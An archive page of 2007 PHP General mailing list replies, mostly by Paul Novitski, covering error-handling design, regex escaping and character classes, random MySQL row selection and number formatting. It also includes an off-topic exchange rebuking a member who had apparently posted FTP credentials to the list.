http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Return or not to return, that is the question

2007-05-30 Thread Paul Novitski

At 5/30/2007 05:41 AM, Richard Davey wrote:

/* check connection */
if (mysqli_connect_errno()) {
printf(Connect failed: %s\n, mysqli_connect_error());
exit();
}

If that was wrapped in a function, sticking 'return false' within the
connect_error check is useful why exactly? Equally the fact the
function didn't 'exit' implies it 'returned true' anyway, so why check
it again in whatever called the function in the first place? it has
performed its task, it didn't raise an error.

(I know most of us would never use 'exit' in production code like the
above, so replace it with whatever error handling mechanism you have,
the question above remains the same.)



I demur at your final point:  If we don't use exit() and the function 
performs non-aborting error handling, it's going to return to the 
calling function which in most cases will need to know whether its 
child function succeeded or failed.


In most of the applications I write, an SQL error (not merely an 
empty result set) indicates more often than not that the parent code 
should gracefully withdraw from the process it was attempting to 
perform.  SQL errors are going to indicate a syntactical error in the 
query, a missing table or field, a connection failure, or another 
problem serious enough that the developer's attention should be drawn 
to it.  It's certainly possible in a thoughtfully-written application 
for a parent function not to care whether a child SQL query was 
successful on this fundamental level, but in most apps we'll want to know.


function parent()
{
lookUpData();
displayData();
}
function lookUpData()
{
set up query;
execute query;
handle errors;
}

where handle errors might range from returning a failure flag to 
displaying an error message.


In order that displayData() doesn't fall on its face, I would write 
the parent function in one of these ways:


if (lookUpData()) displayData();

in which lookUpData() returns true or false, the record set being 
passed in a global variable (ugh);


or, if displayData() is smart enough to deal intelligently with a 
null or empty result set:


$aResultSet = lookUpData();
displayData($aResultSet);
or:
displayData(lookUpData());

in which lookUpData() returns a dataset array that's empty if no 
records were found or an error was encountered.


In my programming style, I can't imagine wanting to write this code 
in such a way that lookUpData() didn't return some form of success or 
error indicator.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re[2]: [PHP] Return or not to return, that is the question

2007-05-30 Thread Paul Novitski

At 5/30/2007 08:25 AM, Richard Davey wrote:

 In order that displayData() doesn't fall on its face, I would write
 the parent function in one of these ways:

  if (lookUpData()) displayData();

That's where our approach differs. If lookUpData falls flat on its
face, my error handler will take over completely, finally resulting in
an 'abortive' event, and never pass back to the parent. If an error is
of a critical enough nature the system needs to stop. If it's not
critical then the error handling within displayData() would detect it
has nothing to display and error in its own accord.


Hi Richard,

If you write your applications like this then they'll fall over when 
something goes wrong -- and here I mean 'fall over' to mean aborting 
suddenly with a technical error message.  That can be useful to us 
during development  debugging but isn't really useful or friendly to 
the website visitor.


It also gives every subroutine that handles errors the responsibility 
of deciding how to deal with the error -- whether to display it or 
not, how to display it, etc.  It makes code less portable from one 
application to the next.


Consider another model in which subroutines report errors back to the 
calling code but don't themselves 'act' on the errors.  An error on a 
low level can bubble back up to some higher parent level in the 
application that knows what to do:  whether to display and if so how 
and in what human language, whether to email the developer, whether 
to close down the application or continue, etc.  An English SQL error 
message is of little use to a web page in Japanese.  It's usually a 
mistake to display an SQL query in a public application because it 
exposes sensitive details of the database architecture.


For example, we might want to generate the web page even if some part 
of its content is unavailable due to the SQL error.  This leaves the 
visitor with a functional page from which they can navigate normally 
even if part of the content is missing.  On this high level, the 
application might choose to behave nonchalantly as though SQL had 
returned an empty recordset and report the hard error to the 
webmaster behind the scenes.


This kind of error-handling architecture can be handled in a variety 
of ways.  One is to maintain a global error structure or class with a 
variety of fields that relate to the last error: true/false, error 
type, context, query code if applicable, etc.  Because a low-level 
error may in turn trigger higher-level errors as it bubbles back up, 
it may make sense to turn this into an error stack to which each 
calling function adds its understanding of the problem as the error 
bubbles back up:


0: SQL error ZZZ in SELECT * FROM `users` ...
1: Can't query user list YYY
2: No users to display

When a high-level function receives an error state from a called 
function, it can (if desired) walk down the stack to learn the 
technical origin of the error as well as its implications during the bubble-up.




 In my programming style, I can't imagine wanting to write this code
 in such a way that lookUpData() didn't return some form of success or
 error indicator.

That's a *very* specific example though. My question was do people
place a 'return' statement at the end of **ALL** of their functions,
regardless of what that function actually did. In the code you gave
there is a fair argument both ways, but that isn't always the case.


Absolutely.  I agree with most of the respondents to this thread: 
return a value only if the caller needs to receive a value 
back.  Some languages (such as BASIC) distinguish between functions 
that return values and subroutines that don't.  Because PHP gives 
only one type of function to call, with an option whether or not to 
return anything, it's clearly up to us to design and impose that 
architecture based on our knowledge and preferences.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: Re[2]: [PHP] Return or not to return, that is the question

2007-05-30 Thread Paul Novitski

At 5/30/2007 10:51 AM, Richard Lynch wrote:

On Wed, May 30, 2007 12:00 pm, Paul Novitski wrote:
[snip] use the archives


Good suggestion!



HOWEVER: it is not a good idea, imho, to always let the errors
bubble up to the outer layer, which is what Paul seemed to have
typed...


But didn't.



The problem with that approach is that you end up being painted into a
corner where your application can do little more than print It
broke. because the low-level context is not available to the caller
of the function.


If you'll refer back to my posting to which you're replying without 
quoting, you'll read:


At 5/30/2007 10:00 AM, Paul Novitski wrote:
Because a low-level error may in turn trigger higher-level errors as 
it bubbles back up, it may make sense to turn this into an error 
stack to which each calling function adds its understanding of the 
problem as the error bubbles back up:

...
When a high-level function receives an error state from a called 
function, it can (if desired) walk down the stack to learn the 
technical origin of the error as well as its implications during the bubble-up.


It sounds like we're on the same page, Richard!

Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: preg_match() returns false but no documentation why

2007-05-30 Thread Paul Novitski



On 5/30/07, Jim Lucas [EMAIL PROTECTED] wrote:


The op will need to use something other than forward slashes.


At 5/30/2007 03:26 PM, Jared Farrish wrote:

You mean the delimiters (a la Richard's suggestion about using '|')?



Hi Jared,

If the pattern delimiter character appears in the pattern it must be 
escaped so that the regexp processor will correctly interpret it as a 
pattern character and not as the end of the pattern.


This would produce a regexp error:

/ldap://*/

but this is OK:

/ldap:\/\/*/

Therefore if you choose another delimiter altogether you don't have 
to escape the slashes:


#ldap://*#

Cleaner and more clear.



preg_match('|^ldap(s)?://[a-zA-Z0-9-]+\.[a-zA-Z.]{2,5}$|', $this-server )


I also recommend using single quotes instead of double quotes here.


Single Quotes: Noted. Any reason why? I guess you might be a little out of
luck putting $vars into a regex without . concatenating.


Both PHP and regexp use the backslash as an escape.  Inside double 
quotes, PHP interprets \ as escape, while inside single quotes PHP 
interprets \ as a simple backslash character.


When working with regexp in PHP you're dealing with two interpreters, 
first PHP and then regexp.  To support PHP's interpretation with 
double quotes, you have to escape the escapes:


Single quotes:  '/ldap:\/\/*/'
Double quotes:  /ldap:\\/\\/*/

PHP interprets \\/ as \/
RegExp interprets \/ as /

There's also the additional minor argument that single-quoted strings 
take less processing because PHP isn't scanning them for escaped 
characters and variables to expand.  On a practical level, though, 
the difference is going to be measured in microseconds and is 
unlikely to affect the perceptible speed of a typical PHP application.


So, for a pattern like this that contains slashes, it's best to use a 
non-slash delimiter AND single quotes (unless, as you say, you need 
to include PHP variables in the pattern):


$pattern = '#ldap://*#';

Personally I favor heredoc syntax for such situations because I don't 
have to worry about the quotes:


$regexp = _
#ldap://*$var#
_;



why is there a period in the second pattern?


The period comes from the original article on SitePoint (linked earlier). Is
it unnecessary? I can't say I'm real sure what this means for the '.' in
regex's:

Matches any single character except line break characters \r and \n. Most
regex flavors have an option to make the dot match line break characters
too.
- http://www.regular-expressions.info/reference.html


Inside of a bracketed character class, the dot means a literal period 
character and not a wildcard.


All non-alphanumeric characters other than \, -, ^ (at the start) 
and the terminating ] are non-special in character classes


PHP PREG
Pattern Syntax
http://www.php.net/manual/en/reference.pcre.pattern.syntax.php
scroll down to 'Square brackets'



Also, why are you allowing for uppercase letters
when the RFC's don't allow them?


I hadn't gotten far enough to strtolower(), but that's a good point, I
hadn't actually considered it yet.


Perhaps it has to do with the source of the string: can you guarantee 
that the URIs passed to this routine conform to spec?


Another way to handle this would be to simply accept case-insensitive strings:

|^ldap(s)?://[a-z0-9-]+\.[a-z.]{2,5}$|i

Pattern Modifiers
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php

i (PCRE_CASELESS)
If this modifier is set, letters in the pattern match both upper 
and lower case letters.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Re: preg_match() returns false but no documentation why

2007-05-30 Thread Paul Novitski

At 5/30/2007 05:08 PM, Jared Farrish wrote:

So what does the definition I posted mean for non-bracketed periods? Does it
mean it will match anything but a line or return break character? How in
practice is this useful?


Read the manual:

Pattern Syntax
http://www.php.net/manual/en/reference.pcre.pattern.syntax.php

.   match any character except newline (by default)
...
Full stop

Outside a character class, a dot in the pattern matches any one 
character in the subject, including a non-printing character, but not 
(by default) newline. If the PCRE_DOTALL option is set, then dots 
match newlines as well. The handling of dot is entirely independent 
of the handling of circumflex and dollar, the only relationship being 
that they both involve newline characters. Dot has no special meaning 
in a character class.


etc.



How do you test regex's against any known variants? I suppose I need to
build a test function to make arbitrary strings and then test and print the
results. I just don't know if my regex is going to be that great in
practice.


rework - an online regular expression workbench
by Oliver Steele
http://osteele.com/tools/rework/

The RegEx Coach (a downloadable Windows application)
by Edi Weitz
http://weitz.de/regex-coach/


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Re: Re: preg_match() returns false but no documentation why

2007-05-30 Thread Paul Novitski

Hi Jared,

At 5/30/2007 06:00 PM, Jared Farrish wrote:

Read the manual:


All due respect, I did read it. It's just... a little dense and not
practically descriptive.


Sorry, I didn't mean to be disrespectful, I thought your question was 
more elementary than it was.  There are, though, a ton of regular 
expression resources on the net.  Google Is Your Friend.  I just got 
a million hits on 'regular expression tutorial.'




Maybe it's more practical to ask, When is it practical to use it?

It matches anything, so I assume that means you can use it to match, say, a
paragraph that you can't predict or match against? One that you're looking
for a pattern match on one or either end?


Well, sure.  It often appears as .* meaning none or any number of 
any characters.  Use it when you honestly don't care what it matches.


Say you want to find out if the word frog occus in a text followed 
by the word dog.  You could match on:


/\bfrog\b(.*\b)?dog\b/i

/   pattern delimiter
\b  word boundary
frog1st word
\b  word boundary

(   begin subpattern
.*  zero or any characters
\b  word boundary
)   end subpattern
?   zero or one instance of the preceding subpattern

dog 2nd word
\b  word boundary
/   pattern delimiter
i   case-insensitive

This guarantees that both words are bounded by word boundaries and 
allows any number of any characters to occur between them.  (There's 
sort of an implicit .* before and after the pattern.  Because I 
haven't used ^ and $ to define the beginning and end of the text, 
regex looks for my pattern anywhere in the text.)




And why is it called full stop?


That's what the 'period' is called in British English.
http://google.ca/search?q=define%3Afull+stop

In English syntax period and full stop are synonymous, and the 
RegEx manual is throwing dot into the same bag.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] two php scripts with same $_SESSION variables

2007-05-24 Thread Paul Scott

On Thu, 2007-05-24 at 04:23 -0700, Jean-Christophe Roux wrote:
 when running the script in B, in can see the value 10. How can I make sure 
 that the $_SESSION['dummy'] is not shared between the two scripts? I could 
 change the name but that would not be convenient.
 

I think you are missing the point of using sessions completely.
There is a way, however, and that would be to set the dummy session
variable to an empty array and then kill off the session.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] help with multi dimensional arrays

2007-05-23 Thread Paul Novitski



Looks like you are missing a comma on line 3.

James Lockie wrote:

I get a syntax error on strlen.

   $newTypes = array();
   $newTypes[0] = array();
   $newTypes[0][0] = Starting with
   $newTypes[0][1] = strlen( $newTypes[0][0] );



Missing semicolon;

Paul 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] showing source

2007-05-18 Thread Paul Scott

On Fri, 2007-05-18 at 01:50 -0400, James Lockie wrote:
 This almost works but all my  and  are replaced with .
 

Rather use named entities, www.php.net/htmlentities

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Random SELECT SQL list

2007-05-16 Thread Paul Novitski

At 5/16/2007 09:40 PM, Eduardo Vizcarra wrote:

I would like to know if a SELECT SQL query list of records can be unsorted.
SELECT statement retrieves a list of records from a certain table starting
from record # 1 till record #N and when publishing the records, this is how
it is presented, in a sequential way, is there any way to not present them
in a sequential way ? e.g. if a user accesses a web page then he will see
record #3 and then #7 and so on, another user accesses the same web page and
he might see record #8 and then record#2. etc



Found on this page:
http://dev.mysql.com/doc/refman/5.1/en/select.html

Posted by Boris Aranovich on June 9 2004 2:33pm

I am using this way to select random row or rows:

SELECT * [or any needed fileds], idx*0+RAND() as rnd_id FROM 
tablename ORDER BY rnd_id LIMIT 1 [or the number of rows]


Meanwhile, I didn't stumble in any problems with this usage.
I picked this method in some forum, don't remember when, where or by 
who was it introduced :)



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] RE: Bounty FYI

2007-05-15 Thread Paul Scott

Lets also add:

Respect mailing lists
Respect communities

On Tue, 2007-05-15 at 02:55 -0400, Brad Sumrall wrote:
 Food for thought!
 
 Respect the freedom.
 
 Respect the Internet!
 
 We all benefit!
 
 Never abuse!
 

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Bounty, NOW!

2007-05-15 Thread Paul Novitski

At 5/14/2007 11:51 PM, Brad Sumrall wrote:

Yes, I do still need legit help. But obviously I needed to make a point to
all the script kiddies out there that you are playing with fire if you even
attempt to miss use an admin password or access a server that does not
belong to you.


That you posted to a listserve.



As a prior USMC Network Admin and DoD network security specialist.


I guess prior must be the key word there.

Seriously, would you show this thread to an IT professional in the 
Marines or the Department of Defense?


Either:

a) you deliberately posted the username  password of an FTP account 
in order to entrap people responding to your post (regardless of 
whether they were trying to help you), or


b) you foolishly and unthinkingly posted same and, embarrassed, are 
trying to cover for your gaffe so clumsily that you actually threaten 
people who responded by invoking 'Federal offense', or


c) you are so bored that you're trying to entertain yourself by 
wasting our time.


I prefer to believe b).  I am enough of an optimist that I prefer to 
see the human capacity for stupidity and embarrassment than to see evil.




I come to the list as a legit person seeking intelligent minds.
Not games.


That would be a start.  Your strategy for seeking intelligent minds 
isn't working the way you wanted, but stopping the game-playing is a 
great idea right about now.




So yes, respond to me as a professional or an up and coming and let's talk
business!


Whoa.  Let's consider the term professional.

Please go back and re-read this thread from the beginning, 
dispassionately, and tell me if you would be either brave enough to 
foolish enough to walk into a legal contract with a developer who 
posts a client's FTP login information to a listserve with thousands 
of users worldwide.  And then laughs at and then threatens those who 
attempt to use them.  Seriously, why on earth would you risk working 
with someone like that?  How could you trust them?


Brad, any way you cut it, you really screwed up here.  If I were in 
your position I'm not sure how I would pull my ass out of the fan 
blades.  You could try this:  Wipe the grin off your face.  Stop 
making jokes.  Stop posturing -- you've already shown everyone your 
underwear and you aren't going to persuade anyone that it didn't 
happen.  Get really fucking serious.  You just shit on your 
professional reputation in public, in a very large room packed with 
your peers.  Joking about it, denying it happened, and acting like 
anyone who saw you do it is out to get you are just more 
games.  Nobody who's read this thread is going to believe you did 
anything but shit your pants on stage.  I think you just have to 
relax and admit you screwed up.  Get humble, stay that way, and maybe 
people will be more willing to listen to you next time.


At this point, I don't know.  There might be someone willing to work 
with you on this project, say someone so desperate for work that 
they'd risk a lawsuit or whatever your next trick might be.  The only 
way I'd be willing to get involved in this project would be if I 
could deal directly with the client and not with you.  Please 
understand that I'm not saying this just to be mean.  I don't know 
you, you're probably a perfectly harmless guy, maybe even a nice 
guy.  But you crossed a line.  It's like, you go a party and some guy 
suddenly starts yelling and waving a knife at people, then 
laughs.  Well, sure, ha ha, but you aren't too likely to go up and 
start a business relationship with him, are you?


This discussion is obviously WAY off topic for PHP.  I'm posting this 
message to the list not to embarrass you further but because things 
have gone so far off the road the we need to talk some serious blunt 
truth here to get back on track.


I feel compassion for you.  You probably really do need help with the 
phpBB problem, but you've asked in such a disfunctional way that 
you've alienated one of the best pools of potential helpers you could 
find.  You might try asking for help in the phpBB forum (where you 
really should have started), but when you do I urge you to stay calm, 
be sedate, don't joke, don't threaten, be cool, and be respectful.


Good luck, man.

Paul 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Bounty, NOW!

2007-05-14 Thread Paul Scott

On Tue, 2007-05-15 at 01:46 -0400, Brad Sumrall wrote:
 I got 5 IP breaking Federal Regulations.
 Hehehehe
 Do you think you are not being logged?
 

*YAWN* Anything better to talk about? This is very l33t-ish and is now
grossly off topic.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] CMS

2007-05-08 Thread Paul Novitski

At 5/8/2007 12:47 AM, Jyoti wrote:

Can anyone can tell me what CMS is?

How can we make it?

What are the requirements for it?



A CMS is a software system for managing website content.

To begin, click on these links:

http://google.com/search?q=what+is+a+cms

http://google.com/search?q=define%3Acontent+management+system

If this is for a school project, please ask your instructor to teach 
you how to use the internet to find answers to questions.


After you have done your basic research, come back with some informed 
questions.


Remember: listserves help those who help themselves. 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Removing commas from number

2007-05-06 Thread Paul Novitski

At 5/6/2007 08:33 AM, Todd Cary wrote:
Thanks to the suggestions, I use number_format($my_number, 2) to 
format the number in an edit field.  Now I need to reenter it into 
MySQL.  How should I use preg_replace to remove the commas?


This removes the commas *and* the decimal point:

preg_replace('/\D/', '', $str)



This strikes me as such an odd thing to do.  If the MySQL table field 
is defined as float, I don't see the need to remove the decimal point.


If you do need to store the digits without the punctuation, you could 
also multiply by 100 and store it as an integer: intval($my_number * 
100) which seems more efficient than to format as a string and then 
reformat without the punctuation.


If I have two uses for a number -- say, formatted with commas and 
other dressing for display and formatted more severely for SQL -- I'd 
retain the number in a variable as its pure value and convert it for 
each use, rather than converting it for one use and then converting 
that for the next use.  The software's more robust because a glitch 
in a formatting operation isn't going to affect the final 
result.  Also, in many arithmetic circumstances where division is 
involved, the true value of the results are accurate to more than two 
decimal places.  While these might be rounded to the nearest cent for 
display purposes, you'll want to add the true values to get the true 
total.  One common example is a column of percentages that should add to 100%.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Removing commas from number

2007-05-06 Thread Paul Novitski

At 5/6/2007 09:39 AM, Todd Cary wrote:

You make a good point.  What is your suggestion for the following sequence:

$number = $row-AMOUNT; // Get the double from MySQL

To display the number in the HTML edit field, I do

$display_number = number_format($number, 2, '.', '');

The user may enter a character that will not be accepted by MySQL, so I do

$mysql_number = preg_replace('/[^0-9^\.]/', '', $display_number);



Ah.  I had earlier assumed that you were supplying the same numeric 
value to two output destinations -- display and SQL.  Instead, you're 
taking a single value from SQL to input and another single value from 
input to SQL.  Even if you understand that these are the same number 
in the context of the application, they could as easily be totally 
separate because the two operations are disconnected from one another:


1) [SQL] -- [transform 1] -- [input]
2) submit form
3) [input] -- [transform 2] -- [SQL]

Transform 1 converts from the pure float value to a formatted string, 
for which number_format() works fine.  (You mentioned that these are 
dollar amounts, but I wouldn't bother including the currency symbol 
in with the input text, rather more like:


Enter price: $[__0.00]

where [___] is the input field.)

Transform 2 converts whatever the user has entered into a valid 
numeric to pass to SQL.  For many applications, I don't think a good 
input validation routine would simply delete any non-numeric 
character from the input.  A user could erroneously type oh for zero, 
el for one, or hit the shift key while typing a digit.  Better, I 
think, to preserve the input if it isn't valid and ask the user to 
reconsider.  Their own correction of their input might be 
significantly different from a simple reduction.


A regular expression pattern to check for valid currency input might be:

[+-($]*\d{1,3}(,\d{3})*(\.\d*){0,1}\){0,1}

[+-($]* zero or more: plus, minus, open-paren, or currency symbol
\d{1,3} one to three: numeric digits
(,\d{3})*   zero or more: comma-digit-digit-digit groups
(\.\d*){0,1}zero or one: decimal point followed by any number of digits
\){0,1} zero or one: close-paren

Any string failing to match this pattern could warrant an error message.

This example is of course dollar-oriented; you may wish to make your 
logic apply equally to foreign currencies.  Note that different 
cultures have very different ways of expressing numbers -- comma for 
the decimal point and period for the thousands separator, different 
numbers of digits between separators, and different characters mixed 
with the digits to indicate scale.


Once you accept the input, then you could delete all the characters 
that aren't digits or period.  Keep that decimal point, it's too 
significant to lose.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Name Capitalization

2007-05-04 Thread Paul Novitski

At 5/4/2007 08:10 AM, Michelle Konzack wrote:

Anyway, why not reject any $USER input, which has
   only CAPITALS/SMALL LETTERS?



Because the OP is dealing with an existing dataset of all-caps names 
inherited from another system.


These names are not currently being input by users.  If that were the 
case, prompting users to unstick their shift keys would be possible.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Getting multitple select values on PHP side

2007-05-04 Thread Paul Novitski

At 5/4/2007 01:56 PM, Skip Evans wrote:
I have a requirement for a select on a form that has to be able to 
get multiple values in the form processing PHP side.


You just multiple to the select... tag to be able to select 
multiple values, but on the PHP side the $_POST value for the form 
only has the last one selected.



I believe the common way to accomplish this is to add [] to the form 
element's name, which persuades PHP into treating it like an array:


select name=nation[] ...

Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



<    5   6   7   8   9   10   11   12   13   14   >